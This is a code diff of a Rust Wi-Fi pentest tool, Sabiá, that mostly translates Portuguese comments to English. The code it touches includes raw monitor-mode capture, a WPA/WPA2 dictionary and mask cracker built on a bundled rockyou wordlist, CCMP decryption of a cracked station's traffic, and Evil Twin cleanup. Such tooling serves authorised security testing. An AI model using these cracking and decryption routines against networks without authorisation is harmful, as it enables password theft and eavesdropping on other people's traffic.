#[command(subcommand)]
action: AuditAction,
},
/// Verifica e aplica atualizações do próprio sabia.
/// Check for and apply `sabia` CLI updates.
Update {
#[arg(long)]
apply: bool,
},
/// Abre a interface gráfica (servidor local + navegador).
/// Launch the web UI (local HTTP server + browser).
Ui {
#[arg(long, default_value = "4337")]
port: u16,
/// Não tenta abrir o navegador automaticamente.
/// Do not open the browser automatically.
#[arg(long)]
no_open: bool,
},
@@ -123,13 +123,13 @@ enum Cmd {
#[derive(Subcommand)]
enum IfaceAction {
List,
/// Mostra os canais suportados pelo rádio.
/// List channels supported by the wireless phy.
Channels {
iface: String,
#[arg(long)]
json: bool,
},
/// Liga/desliga modo monitor numa interface Wi-Fi.
/// Enable or disable monitor mode on a Wi-Fi interface.
Monitor {
iface: String,
#[arg(value_enum)]
@@ -139,9 +139,9 @@ enum IfaceAction {
#[derive(Subcommand)]
enum AuditAction {
/// Confere a integridade da cadeia.
/// Verify the cryptographic hash chain integrity.
Verify { path: Option<PathBuf> },
/// Mostra as últimas entradas.
/// Show the last N entries.
Show {
#[arg(long, default_value_t = 20)]
limit: usize,
+9 -9
View File
@@ -1,7 +1,7 @@
//! Servidor local da interface: uma única página HTML/JS servida em
//! `127.0.0.1`, protegida por um token gerado na hora, falando com o
//! núcleo por uma API JSON simples. A mesma página em `apps/gui/ui` é o
//! que o app desktop (Tauri) carrega — só muda o transporte.
//! Local web UI server: serves the single-page HTML/JS app on
//! `127.0.0.1`, protected by a per-session random token, communicating with
//! the core over JSON endpoints. The exact same frontend in `apps/gui/ui`
//! powers the Tauri desktop app.
use sabia_core::engine::{Engine, ScanOptions};
use serde::Deserialize;
@@ -25,11 +25,11 @@ pub fn serve(port: u16, audit_path: std::path::PathBuf, open: bool) -> sabia_cor
let listener = TcpListener::bind(("127.0.0.1", port))?;
let engine = Arc::new(Engine::with_audit_path(audit_path));
// Sem isso, Ctrl+C (ou um `kill` normal) durante um Evil Twin ativo
// mata o processo sem rodar a limpeza: hostapd/dnsmasq ficam órfãos
// e as duas interfaces ficam presas em `managed no` pro
// NetworkManager — o painel de Wi-Fi do sistema some por completo até
// o próximo início do engine se auto-curar.
// Without a signal handler, Ctrl+C (or `SIGTERM`) during an active Evil Twin
// exits before cleanup runs: `hostapd`/`dnsmasq` are left orphaned
// and both interfaces remain stuck in `managed no` under
// NetworkManager until the next engine startup runs self-healing.
//
{
let engine = engine.clone();
let _ = ctrlc::set_handler(move || {
+3 -3
View File
@@ -1,6 +1,6 @@
[package]
name = "sabia-core"
description = "Sabiá: núcleo de captura, análise e auditoria de redes Wi-Fi"
description = "Sabiá: Wi-Fi network capture, analysis, and auditing core"
version.workspace = true
edition.workspace = true
license.workspace = true
@@ -25,5 +25,5 @@ flate2 = { version = "1", default-features = false, features = ["rust_backend"]
tempfile = "3"
[target.'cfg(not(target_os = "linux"))'.dependencies]
# captura crua (AF_PACKET) só existe no Linux; outras plataformas compilam
# a crate mas os módulos de captura ficam indisponíveis em tempo de execução.
# Raw capture (AF_PACKET) is Linux-only; other platforms compile the crate
# while live capture modules remain unavailable at runtime.
+6 -6
View File
@@ -1,8 +1,8 @@
//! Análise de canais, detecção de anomalias (WIDS) e leitura de WPA3.
//! Channel utilization analysis, wireless anomaly detection (WIDS), and WPA3 indicators.
//!
//! Everything here is derived passively from the captured scan table without injecting frames.
//! Both the live UI and the standalone audit report consume this model.
//!
//! Tudo aqui é derivado da tabela já capturada — nada injeta quadros. A
//! interface usa o resultado para desenhar o gráfico de canais e os alertas;
//! o relatório usa o mesmo modelo para não ter duas verdades.
use crate::radiotap::{self, Band};
use crate::scan::AccessPoint;
@@ -280,8 +280,8 @@ pub fn analyze(aps: &[AccessPoint], deauth_60s: u32, now: u64) -> Analysis {
})
.collect();
// SSID anunciado com seguranças diferentes é o sinal clássico de evil
// twin — legítimo costuma manter o mesmo conjunto em todos os rádios.
// Same SSID advertised with mixed security suites (e.g. WPA2 alongside Open)
// is a classic Evil Twin indicator.
let mut by_ssid: HashMap<String, Vec<&AccessPoint>> = HashMap::new();
for ap in aps {
if let Some(ssid) = ap.ssid.as_deref().filter(|s| !s.is_empty()) {
+11 -11
View File
@@ -1,12 +1,12 @@
//! Trilha de auditoria encadeada por hash de toda ação sensível (ligar
//! modo monitor, iniciar captura, trocar canal, etc.) — mesmo princípio do
//! módulo `audit` do Guará: cada evento guarda o hash do anterior, então
//! qualquer edição retroativa do log quebra a cadeia e é detectável.
//! Hash-chained audit trail of every sensitive operation (enabling
//! monitor mode, starting capture, changing channels, active attacks):
//! each entry commits to the SHA-256 of the previous entry so any
//! retroactive tampering breaks the chain.
//!
//! Provides verifiable engagement evidence of what was executed, when,
//! and against which target/interface.
//!
//!
//! Isso existe para que o uso do Sabiá em um engajamento de pentest tenha
//! evidência de o quê foi feito, quando e contra qual rede/interface —
//! não para decidir sozinho se uma ação é autorizada (isso é sempre do
//! operador).
use crate::error::Result;
use serde::{Deserialize, Serialize};
@@ -85,7 +85,7 @@ impl AuditLog {
Ok(entry)
}
/// Lê as entradas da trilha, opcionalmente só as `limit` mais recentes.
/// Reads entries from the audit log, optionally returning only the last `limit` entries.
pub fn read_entries(path: impl AsRef<Path>, limit: Option<usize>) -> Result<Vec<AuditEntry>> {
let file = OpenOptions::new().read(true).open(path)?;
let reader = BufReader::new(file);
@@ -105,8 +105,8 @@ impl AuditLog {
Ok(entries)
}
/// Verifica a integridade de toda a cadeia; retorna o índice da
/// primeira entrada inválida, se houver.
/// Verifies the integrity of the entire hash chain; returns the index of
/// the first invalid entry if tampered.
pub fn verify(path: impl AsRef<Path>) -> Result<Option<usize>> {
let file = OpenOptions::new().read(true).open(path)?;
let reader = BufReader::new(file);
+12 -12
View File
@@ -1,9 +1,9 @@
//! Captura crua de quadros 802.11 via `AF_PACKET`, sem depender de libpcap.
//! Raw 802.11 frame capture via Linux `AF_PACKET` sockets without requiring `libpcap`.
//!
//! The interface must already be in monitor mode (see [`crate::netlink`]).
//! Uses the same kernel packet socket interface that `libpcap` uses on Linux
//! without adding an external system library dependency.
//!
//! A interface já precisa estar em modo monitor (ver [`crate::netlink`]).
//! Isso só funciona em Linux — é exatamente o que o libpcap faz por baixo
//! quando usado em modo monitor, então reimplementar aqui é pouco código e
//! remove uma dependência de sistema.
#![cfg(target_os = "linux")]
@@ -21,8 +21,8 @@ pub struct RawCapture {
}
impl RawCapture {
/// Abre um socket raw ligado à interface `iface` (já em modo monitor).
/// Exige `CAP_NET_RAW` (tipicamente root).
/// Opens a raw `AF_PACKET` socket bound to `iface` (must already be in monitor mode).
/// Requires `CAP_NET_RAW` (typically root).
pub fn open(iface: &str) -> Result<Self> {
let fd = unsafe { libc::socket(libc::AF_PACKET, libc::SOCK_RAW, ETH_P_ALL as i32) };
if fd < 0 {
@@ -57,8 +57,8 @@ impl RawCapture {
Ok(Self { fd })
}
/// Define um timeout de recepção, para o loop de captura poder checar
/// periodicamente um sinal de parada sem travar para sempre em `recv`.
/// Sets `SO_RCVTIMEO` so the capture loop can periodically check its stop flag
/// without blocking indefinitely in `recv`.
pub fn set_read_timeout(&self, timeout: Duration) -> Result<()> {
let tv = libc::timeval {
tv_sec: timeout.as_secs() as libc::time_t,
@@ -79,7 +79,7 @@ impl RawCapture {
Ok(())
}
/// Lê um quadro. Retorna `Ok(None)` em timeout (ver `set_read_timeout`).
/// Reads a single frame. Returns `Ok(None)` on receive timeout (see `set_read_timeout`).
pub fn recv(&self, buf: &mut [u8]) -> Result<Option<usize>> {
let n = unsafe { libc::recv(self.fd, buf.as_mut_ptr() as *mut libc::c_void, buf.len(), 0) };
if n < 0 {
@@ -114,8 +114,8 @@ fn if_index(name: &str) -> Result<i32> {
Ok(idx as i32)
}
/// Garante, de forma best-effort, que o processo tem privilégio para abrir
/// sockets raw — útil para dar um erro claro antes de tentar o resto.
/// Best-effort check that the process has privileges to open raw packet sockets.
///
pub fn check_capabilities() -> bool {
let euid = unsafe { libc::geteuid() };
euid == 0
+39 -39
View File
@@ -1,31 +1,31 @@
//! Decriptação CCMP (WPA2-AES) de quadros de dados, usando a TK já derivada
//! de um handshake quebrado.
//! WPA2 CCMP (AES-CTR) data frame decryption using the Temporal Key (TK) derived
//! from a cracked 4-way handshake.
//!
//! Used passively to inspect cleartext upper-layer protocols (DHCP, mDNS, ARP, HTTP)
//! of a station whose own 4-way handshake was captured and cracked, allowing
//! hostname/device identification. Because each association derives an ephemeral
//! PTK, the TK is scoped to a specific `(BSSID, station)` pair.
//!
//!
//!
//!
//! Implements AES-CTR payload decryption (skipping 8-byte CBC-MAC MIC verification
//! since we only extract passive identity hints from known-key traffic).
//!
//!
//!
//! Isso não serve pra forjar nem reinjetar nada — só pra enxergar o conteúdo
//! em claro (DHCP, mDNS) de um cliente cuja senha da rede já foi recuperada
//! por dicionário, e assim extrair hostname/fabricante de verdade em vez de
//! só o MAC. A chave é par (BSSID, estação): só decifra tráfego do cliente
//! cujo próprio handshake foi capturado e quebrado, nunca de terceiros —
//! cada associação tem sua PTK efêmera, então a senha da rede sozinha não
//! abre o tráfego de quem a gente não viu entrar.
//!
//! Implementa só o modo CTR (a parte que decifra o conteúdo). O MIC
//! (CBC-MAC) não é conferido: a intenção aqui é mostrar o payload de um
//! tráfego que a gente já pode decifrar porque a senha é conhecida, não
//! provar integridade de um quadro adulterado — e implementar o AAD/CBC-MAC
//! certinho exigiria replicar o mascaramento do cabeçalho 802.11 inteiro
//! sem ganho prático pro que isso serve aqui.
use aes::cipher::{BlockEncrypt, KeyInit};
use aes::Aes128;
/// Decifra o corpo de um quadro de dados CCMP, a partir do cabeçalho CCMP
/// (8 bytes) em diante — ou seja, `body` é `frame.body[frame.header_len..]`.
/// `transmitter` é o endereço 2 (A2) do quadro — o rádio que o enviou, não o
/// BSSID/estação lógicos. `qos_tid` é o TID do QoS Control (0 se não-QoS).
/// Decrypts a CCMP-protected data frame payload starting at the 8-byte CCMP header
/// (`frame.body[frame.header_len..]`).
/// `transmitter` is Address 2 (`A2`), and `qos_tid` is the QoS TID (`0` for non-QoS).
///
///
/// Returns the decrypted LLC/SNAP + payload (excluding the trailing 8-byte MIC).
///
/// Retorna o LLC/SNAP + payload em claro (o mesmo formato que um quadro não
/// protegido teria), sem os 8 bytes de MIC cifrado no final.
pub fn decrypt_data(
tk: &[u8; 16],
transmitter: &[u8; 6],
@@ -40,8 +40,8 @@ pub fn decrypt_data(
let pn0 = body[0];
let pn1 = body[1];
let key_id_octet = body[3];
// ExtIV (bit 5) precisa estar ligado — senão não é um cabeçalho CCMP de
// verdade (podia ser WEP de 4 bytes por coincidência de layout).
// ExtIV (bit 5) must be set for a valid 8-byte CCMP IV header.
//
if key_id_octet & 0x20 == 0 {
return None;
}
@@ -53,8 +53,8 @@ pub fn decrypt_data(
let ciphertext_and_mic = &body[HEADER_LEN..];
let ciphertext = &ciphertext_and_mic[..ciphertext_and_mic.len() - MIC_LEN];
// Nonce CCMP (13 bytes): flags/prioridade (1) || A2 (6) || PN, do byte
// mais significativo (PN5) ao menos significativo (PN0).
// 13-byte CCMP nonce: `flags/priority (1) || A2 (6) || PN5..PN0 (6)`.
//
let mut nonce = [0u8; 13];
nonce[0] = qos_tid & 0x0f;
nonce[1..7].copy_from_slice(transmitter);
@@ -67,10 +67,10 @@ pub fn decrypt_data(
let cipher = Aes128::new(tk.into());
let mut out = Vec::with_capacity(ciphertext.len());
let mut counter: u16 = 1; // o bloco de contador 0 cifra só o MIC, não dado.
let mut counter: u16 = 1; // counter block 0 encrypts the MIC; payload blocks start at counter 1.
for chunk in ciphertext.chunks(16) {
let mut block = [0u8; 16];
block[0] = 0x01; // flag octet do CCMP counter mode (L=1, sem AAD aqui)
block[0] = 0x01; // CCMP counter mode flags octet (`L = 1`)
block[1..14].copy_from_slice(&nonce);
block[14..16].copy_from_slice(&counter.to_be_bytes());
let mut keystream = block.into();
@@ -87,9 +87,9 @@ pub fn decrypt_data(
mod tests {
use super::*;
/// AES-128 do FIPS-197 (vetor de referência oficial do NIST): confirma
/// que a cifra de bloco usada embaixo está correta antes de confiar no
/// contador CTR por cima dela.
/// NIST FIPS-197 Appendix B AES-128 test vector.
///
///
#[test]
fn aes128_matches_fips197_vector() {
let key: [u8; 16] = [
@@ -110,19 +110,19 @@ mod tests {
assert_eq!(block.as_slice(), &expected);
}
/// Round-trip de auto-consistência: decifrar um texto que a própria
/// função "cifrou" (mesmo algoritmo, usado nos dois sentidos — CTR é
/// simétrico) tem que devolver o original. Isso pega bug de indexação
/// no nonce/contador mesmo sem um vetor de teste oficial do CCMP à mão.
/// CTR symmetry round-trip: encrypting and decrypting with the same CCMP
/// keystream recovers the original LLC/SNAP payload.
///
///
#[test]
fn ctr_round_trip_recovers_plaintext() {
let tk = [0x42u8; 16];
let transmitter = [0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff];
let plaintext = b"AA AA 03 00 00 00 08 00 payload de teste bem maior que um bloco de 16 bytes para cobrir mais de uma rodada do contador";
// Monta um "quadro" CCMP cifrando manualmente com a mesma lógica de
// keystream (ela é simétrica: XOR com o keystream cifra e decifra).
let header = [0x11u8, 0x22, 0x00, 0x20, 0x33, 0x44, 0x55, 0x66]; // ExtIV ligado
// Build a synthetic CCMP payload using the symmetric CTR keystream.
//
let header = [0x11u8, 0x22, 0x00, 0x20, 0x33, 0x44, 0x55, 0x66]; // ExtIV bit set
let mut nonce = [0u8; 13];
nonce[0] = 3; // TID
nonce[1..7].copy_from_slice(&transmitter);
@@ -147,7 +147,7 @@ mod tests {
}
counter = counter.wrapping_add(1);
}
ciphertext.extend_from_slice(&[0u8; 8]); // MIC fictício, ignorado na decriptação
ciphertext.extend_from_slice(&[0u8; 8]); // dummy 8-byte MIC (stripped during decryption)
let mut body = Vec::new();
body.extend_from_slice(&header);
@@ -160,7 +160,7 @@ mod tests {
#[test]
fn rejects_body_without_extiv_bit() {
let tk = [0u8; 16];
let body = [0u8; 20]; // key_id_octet (índice 3) sem o bit ExtIV
let body = [0u8; 20]; // key_id_octet (index 3) without the ExtIV bit set
assert!(decrypt_data(&tk, &[0; 6], 0, &body).is_none());
}
+67 -67
View File
@@ -1,15 +1,15 @@
//! Quebra de WPA/WPA2-PSK por dicionário, em Rust puro.
//! Pure-Rust WPA/WPA2-PSK dictionary and mask cracker.
//!
//! Duas provas são aceitas, como no aircrack-ng/hashcat:
//! Supports both verification modes used by `aircrack-ng` and `hashcat`:
//!
//! * **EAPOL (4-way handshake):** deriva a PMK com PBKDF2-HMAC-SHA1
//! (4096 iterações), expande a PTK com o PRF do 802.11i e recalcula o MIC da
//! mensagem 2.
//! * **PMKID:** recalcula `HMAC-SHA1(PMK, "PMK Name" || AP || STA)` direto da
//! mensagem 1 — não precisa do handshake completo.
//! * **EAPOL (4-way handshake):** derives the PMK via PBKDF2-HMAC-SHA1
//! (4096 iterations), expands the PTK via IEEE 802.11i PRF, and verifies the
//! message 2 MIC.
//! * **PMKID:** computes `HMAC-SHA1(PMK, "PMK Name" || AP || STA)` directly from
//! message 1 without requiring a full 4-way handshake.
//!
//! É CPU puro, sem GPU: suficiente para a v0.1.0 e para dicionários comuns,
//! mas não substitui o hashcat em ataques de força bruta grandes.
//! Runs multi-threaded on the CPU; for large GPU-accelerated attacks, export
//! `.hc22000` via [`crate::hashcat`].
use crate::dot11::parse_mac;
use crate::error::{Result, SabiaError};
@@ -33,9 +33,9 @@ type HmacMd5 = Hmac<Md5>;
const WPA_ITERATIONS: u32 = 4096;
/// `.gz` do dicionário embutido — descomprimido só na primeira vez que é
/// usado (ver [`default_wordlist`]). Cru são ~101MB; comprimido, ~39MB no
/// binário em vez de ~101MB.
/// Gzip-compressed built-in wordlist (`~39 MB` compressed -> `~101 MB` raw),
/// decompressed lazily on first use (see [`default_wordlist`]).
///
const DEFAULT_WORDLIST_GZ: &[u8] = include_bytes!("../assets/wordlists/wpa-full.txt.gz");
pub const DEFAULT_WORDLIST_SOURCE: &str =
@@ -49,17 +49,17 @@ static DEFAULT_WORDLIST_CACHE: LazyLock<String> = LazyLock::new(|| {
out
});
/// Lista embutida de senhas prováveis de Wi-Fi, usada quando o usuário não
/// escolhe um dicionário próprio. Não depende de arquivo externo: é a lista
/// mais completa que o Sabiá consegue embutir sem exigir download —
/// 9.703.831 senhas (203.806 do Probable-Wordlists, ranqueadas por
/// probabilidade, seguidas pelo rockyou.txt inteiro) filtradas pro
/// comprimento válido de WPA (8–63) e pra ASCII puro (WPA-PSK exige um
/// octeto válido; a imensa maioria dos roteadores só aceita ASCII mesmo, e
/// isso evita o pouco de lixo binário que o rockyou.txt original carrega),
/// sem duplicatas e na ordem de prioridade: as mais prováveis primeiro,
/// então a quebra tende a achar a senha cedo, não só no fim da lista. Ver
/// `assets/wordlists/LICENSE.wpa-full` pra atribuição completa.
/// Built-in WPA wordlist (9,703,831 deduplicated 8–63 char ASCII passwords
/// combining Probable-Wordlists and `rockyou.txt` ordered by probability).
/// See `crates/sabia-core/assets/wordlists/LICENSE.wpa-full` for attribution.
///
///
///
///
///
///
///
///
pub fn default_wordlist() -> &'static str {
&DEFAULT_WORDLIST_CACHE
}
@@ -142,7 +142,7 @@ impl CrackTarget {
}
}
/// Deriva a PMK (256 bits) de uma frase-senha WPA e do SSID.
/// Derives the 256-bit WPA PMK from an ASCII passphrase and SSID (`PBKDF2-HMAC-SHA1`, 4096 rounds).
pub fn derive_pmk(passphrase: &str, ssid: &str) -> [u8; 32] {
let dk = pbkdf2_sha1(passphrase.as_bytes(), ssid.as_bytes(), WPA_ITERATIONS, 32);
let mut pmk = [0u8; 32];
@@ -150,10 +150,10 @@ pub fn derive_pmk(passphrase: &str, ssid: &str) -> [u8; 32] {
pmk
}
/// Aceita uma frase-senha (8–63 caracteres) ou uma PMK crua em hexadecimal
/// (64 caracteres, como no hashcat/aircrack). `pub(crate)` porque
/// `handshake.rs` reusa exatamente essa regra ao derivar a TK de uma senha
/// já quebrada (o campo `password` aceita as duas formas, igual aqui).
/// Resolves either an 8–63 character WPA passphrase or a raw 64-hex-character PMK.
/// Shared with `handshake.rs` when deriving the CCMP Temporal Key (TK) from a known password.
///
///
pub(crate) fn pmk_from_candidate(candidate: &str, ssid: &[u8]) -> Option<[u8; 32]> {
if candidate.len() == 64 && candidate.bytes().all(|b| b.is_ascii_hexdigit()) {
return hex_to_32(candidate.as_bytes());
@@ -170,10 +170,10 @@ pub(crate) fn pmk_from_candidate(candidate: &str, ssid: &[u8]) -> Option<[u8; 32
pub fn pbkdf2_sha1(password: &[u8], salt: &[u8], iterations: u32, out_len: usize) -> Vec<u8> {
let iterations = iterations.max(1);
let mut out = Vec::with_capacity(out_len);
// O par ipad/opad depende só da senha — monta uma vez e clona a cada
// rodada (clone é só copiar os dois blocos já prontos) em vez de montar
// o HMAC do zero em cada uma das milhares de iterações. Em 4096
// iterações por bloco isso é a maior parte do custo fora do SHA1 em si.
// Precompute the HMAC inner/outer SHA-1 states once per passphrase and clone
// across all 4096 PBKDF2 rounds to avoid re-hashing the key block each iteration.
//
//
let base = HmacSha1::new_from_slice(password).expect("HMAC aceita qualquer chave");
let mut block: u32 = 1;
while out.len() < out_len {
@@ -213,7 +213,7 @@ fn prf_sha1(key: &[u8], label: &[u8], data: &[u8], out_len: usize) -> Vec<u8> {
out
}
/// PTK de 64 bytes: KCK (16) + KEK (16) + TK (16) + 16 de reserva.
/// Derives the 64-byte PTK: `KCK (16) || KEK (16) || TK (16) || MIC keys (16)`.
pub fn compute_ptk(
pmk: &[u8; 32],
bssid: &[u8; 6],
@@ -314,14 +314,14 @@ fn valid_candidate(candidate: &str) -> bool {
|| (candidate.len() == 64 && candidate.bytes().all(|b| b.is_ascii_hexdigit()))
}
/// Tenta cada linha do dicionário contra o alvo, dividindo o trabalho entre
/// as threads disponíveis (PBKDF2-HMAC-SHA1 de 4096 iterações é CPU puro e
/// cada candidato é independente — ganho quase linear com o número de
/// núcleos). `progress` recebe o número de candidatos já processados, ~8x
/// por segundo enquanto roda. Com `apply_rules`, cada linha vira até
/// [`rules::VARIANTS_PER_WORD`] candidatos (maiúscula, sufixos comuns, leet
/// simples) em vez de só a palavra crua — multiplica o tempo de verdade,
/// por isso é opt-in.
/// Tests wordlist candidates against `target` across all available CPU threads.
/// Invokes `progress` (~8x/s) with the number of tested candidates. When
/// `apply_rules` is enabled, expands each base word via [`rules::expand`].
///
///
///
///
///
pub fn crack_reader<R: BufRead, F: FnMut(u64) + Send>(
target: &CrackTarget,
mut wordlist: R,
@@ -330,9 +330,9 @@ pub fn crack_reader<R: BufRead, F: FnMut(u64) + Send>(
) -> CrackReport {
let start = Instant::now();
// Carrega a lista inteira antes de começar: dá pra repartir em pedaços
// contíguos por thread (melhor localidade de cache que round-robin) e o
// próprio dicionário embutido cabe de sobra em memória.
// Load candidates upfront and partition into contiguous per-thread slices.
//
//
let mut candidates: Vec<String> = Vec::new();
let mut line = String::new();
loop {
@@ -384,8 +384,8 @@ pub fn crack_reader<R: BufRead, F: FnMut(u64) + Send>(
});
}
// Thread "repórter": roda dentro do mesmo scope só pra poder
// emprestar `progress` (FnMut, chamado de um único lugar).
// Progress reporter thread scoped to borrow `progress` (`FnMut`) safely.
//
scope.spawn(|| loop {
std::thread::sleep(std::time::Duration::from_millis(120));
let n = tried.load(Ordering::Relaxed);
@@ -426,7 +426,7 @@ pub fn crack_handshake<F: FnMut(u64) + Send>(
))
}
/// Quebra usando a lista embutida.
/// Runs a dictionary crack using the built-in wordlist.
pub fn crack_handshake_default<F: FnMut(u64) + Send>(
hs: &Handshake,
apply_rules: bool,
@@ -449,7 +449,7 @@ fn target_for(hs: &Handshake) -> Result<CrackTarget> {
})
}
/// Lê um `.pcap`, monta os handshakes e tenta quebrar o primeiro alvo útil.
/// Parses a `.pcap` file, assembles handshakes, and cracks the first crackable target.
pub fn crack_pcap<F: FnMut(u64) + Send>(
pcap: impl AsRef<Path>,
wordlist: impl AsRef<Path>,
@@ -474,11 +474,11 @@ pub fn crack_pcap<F: FnMut(u64) + Send>(
crack_handshake(hs, wordlist, apply_rules, progress)
}
/// Força bruta por máscara (estilo hashcat `-a 3`): gera e testa cada
/// combinação possível, sem depender de dicionário. Mesma paralelização por
/// threads do `crack_reader`, mas gerando candidatos por índice (base
/// mista) em vez de carregar tudo em memória — é o que permite máscaras com
/// milhões/bilhões de combinações sem estourar RAM.
/// Mask brute-force attack (hashcat `-a 3` style): generates candidates on the fly
/// by mixed-radix index across all CPU threads without materializing the keyspace in RAM.
///
///
///
pub fn crack_mask<F: FnMut(u64) + Send>(
target: &CrackTarget,
mask: &Mask,
@@ -546,7 +546,7 @@ pub fn crack_mask<F: FnMut(u64) + Send>(
}
}
/// Quebra por máscara a partir de um handshake já montado.
/// Runs a mask brute-force attack against an assembled `Handshake`.
pub fn crack_handshake_mask<F: FnMut(u64) + Send>(
hs: &Handshake,
mask: &Mask,
@@ -562,8 +562,8 @@ mod tests {
use crate::testutil::{handshake_frames, synthetic_handshake};
use std::io::Cursor;
/// Mede só o tempo de descomprimir o dicionário embutido (gzip, ~39MB -> ~101MB),
/// que acontece uma vez, na primeira chamada a `default_wordlist()`.
/// Benchmarks one-time decompression of the built-in gzip wordlist (`~39 MB -> ~101 MB`).
///
#[test]
#[ignore]
fn bench_default_wordlist_decompress() {
@@ -577,17 +577,17 @@ mod tests {
);
}
/// Não é teste de verdade — mede candidatos/segundo pra guiar otimização
/// de performance. `cargo test --release -p sabia-core -- --ignored
/// --nocapture bench_crack_throughput`.
/// Throughput benchmark (`cargo test --release -p sabia-core -- --ignored --nocapture bench_crack_throughput`).
///
///
#[test]
#[ignore]
fn bench_crack_throughput() {
let (m1, m2) = handshake_frames("IEEE", "senha-que-nao-esta-na-lista", 2, false);
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
let target = CrackTarget::from_handshake(&hs).expect("alvo");
// Só uma fatia: a lista inteira (9,7 milhões) levaria minutos — o
// objetivo aqui é medir candidatos/s, não o tempo total.
// Benchmark a 20,000-password slice to measure candidates/sec quickly.
//
let sample: String = default_wordlist()
.lines()
.take(500_000)
@@ -677,8 +677,8 @@ mod tests {
#[test]
fn rules_find_a_mutated_variant_not_present_verbatim() {
// A senha de verdade é "wifi12345" — não está na lista, mas é um
// sufixo numérico de "wifi" que `rules::expand` gera.
// True password `"wifi12345"` is derived from `"wifi"` via `rules::expand`.
//
let (m1, m2) = handshake_frames("IEEE", "wifi12345", 2, false);
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
let target = CrackTarget::from_handshake(&hs).expect("alvo");
@@ -692,10 +692,10 @@ mod tests {
#[test]
fn mask_crack_finds_a_numeric_password() {
// Máscara minúscula de propósito (só 10 combinações): cada candidato
// é um PBKDF2 de 4096 iterações, pesado até em paralelo — um brute
// force de verdade (ex.: ?d×8, 100 milhões) é coisa pra uso real,
// não pra um teste unitário que roda em `cargo test` toda hora.
// Small 10-candidate mask (`wifi123?d`) to keep unit tests fast.
//
//
//
let (m1, m2) = handshake_frames("IEEE", "wifiabc7", 2, false);
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
let target = CrackTarget::from_handshake(&hs).expect("alvo");
+2 -2
View File
@@ -1,5 +1,5 @@
//! Diagnóstico do ambiente: privilégios, ferramentas externas, interfaces,
//! suporte a modo monitor e integridade da trilha de auditoria.
//! Environment diagnostics: privileges, external helper tools, wireless interfaces,
//! monitor mode support, and audit trail integrity.
use crate::audit::AuditLog;
use crate::iface::{self, Interface};
+30 -30
View File
@@ -1,7 +1,7 @@
//! Parser de quadros 802.11 — gerenciamento (beacon, probe, associação,
//! desautenticação) e dados — com leitura dos *information elements* que
//! interessam para auditoria: SSID, canal, segurança (RSN/WPA), WPS, PMF e
//! a localização do payload EAPOL dos handshakes WPA/WPA2.
//! IEEE 802.11 frame parser — management (beacon, probe, association,
//! deauthentication) and data frames — extracting security-relevant Information
//! Elements (SSID, channel, RSN/WPA, WPS, PMF) and locating EAPOL handshake
//! payloads and cleartext client identity hints.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum FrameKind {
@@ -94,9 +94,9 @@ pub struct ManagementInfo {
pub wps_serial: Option<String>,
}
/// Pistas de identidade tiradas de payload em claro (DHCP, mDNS/DNS, SSDP,
/// HTTP e ARP). Redes criptografadas não expõem nada disso; nesse caso os
/// campos ficam vazios e a UI mostra só MAC, OUI e probes.
/// Client identity hints extracted from cleartext upper-layer payloads (DHCP, mDNS/DNS,
/// SSDP, HTTP, ARP). Empty on encrypted networks unless the station's CCMP
/// session key has been derived from a cracked handshake.
#[derive(Debug, Clone, Default)]
pub struct PayloadInfo {
pub ip: Option<String>,
@@ -172,7 +172,7 @@ pub fn is_broadcast(mac: &[u8; 6]) -> bool {
*mac == [0xff; 6]
}
/// Quadro 802.11 já sem o cabeçalho radiotap.
/// Parsed 802.11 frame (after stripping the leading Radiotap header).
pub struct Frame<'a> {
pub kind: FrameKind,
pub fc: u16,
@@ -327,7 +327,7 @@ impl<'a> Frame<'a> {
self.dst.map(|m| mac_to_string(&m))
}
/// Slice dos information elements, quando o quadro tem um.
/// Returns the Information Elements (IE) byte slice for management frames that carry one.
pub fn ies(&self) -> Option<&'a [u8]> {
if self.ie_offset == 0 || self.ie_offset >= self.body.len() {
None
@@ -336,8 +336,8 @@ impl<'a> Frame<'a> {
}
}
/// Faz parsing dos information elements (TLV), extraindo SSID, canal,
/// cifra/AKM e indicadores de WPS e PMF.
/// Parses TLV Information Elements, extracting SSID, channel, cipher/AKM suites,
/// WPS state, and PMF (802.11w) flags.
pub fn management_info(&self) -> ManagementInfo {
let mut info = ManagementInfo::default();
let Some(ies) = self.ies() else {
@@ -449,8 +449,8 @@ impl<'a> Frame<'a> {
}
}
/// Payload EAPOL (handshake WPA) de um quadro de dados não protegido.
/// O slice começa no cabeçalho EAPOL (versão, tipo, tamanho).
/// Extracts the EAPOL payload slice (`0x888E`) from an unprotected data frame.
/// The returned slice begins at the 4-byte EAPOL header.
pub fn eapol(&self) -> Option<&'a [u8]> {
if self.protected || !self.kind.is_data() {
return None;
@@ -469,10 +469,10 @@ impl<'a> Frame<'a> {
self.body.get(start..end)
}
/// Tenta identificar a estação por payload não criptografado. Só olha
/// dados em claro; em WPA2/WPA3 o conteúdo é opaco e retorna vazio — a
/// menos que a senha já tenha sido quebrada (ver [`Self::ccmp_payload`]
/// + [`payload_info_from_llc`]).
/// Extracts passive client identity hints from an unprotected data frame.
/// Returns empty `PayloadInfo` for protected frames (use [`Self::ccmp_payload`]
/// + [`payload_info_from_llc`] when the station's TK is known).
///
pub fn payload_info(&self) -> PayloadInfo {
if self.protected || !self.kind.is_data() {
return PayloadInfo::default();
@@ -483,8 +483,8 @@ impl<'a> Frame<'a> {
payload_info_from_llc(payload)
}
/// TID do campo QoS Control, quando o quadro é QoS Data. `None` pra
/// dados não-QoS (o nonce do CCMP usa TID 0 nesse caso).
/// Extracts the QoS Control TID (`0..15`) for QoS Data frames, or `None` for non-QoS.
///
pub fn qos_tid(&self) -> Option<u8> {
if !self.kind.is_data() {
return None;
@@ -500,10 +500,10 @@ impl<'a> Frame<'a> {
self.body.get(offset).map(|b| b & 0x0f)
}
/// Decifra um quadro de dados CCMP com a TK já derivada (handshake
/// quebrado) e devolve o LLC/SNAP + payload em claro, no mesmo formato
/// que um quadro não protegido teria. `None` se o quadro não for CCMP
/// protegido ou os bytes não baterem com um cabeçalho CCMP válido.
/// Decrypts a CCMP-protected data frame using the station's 16-byte Temporal Key (TK)
/// and returns the cleartext LLC/SNAP + upper-layer payload.
///
///
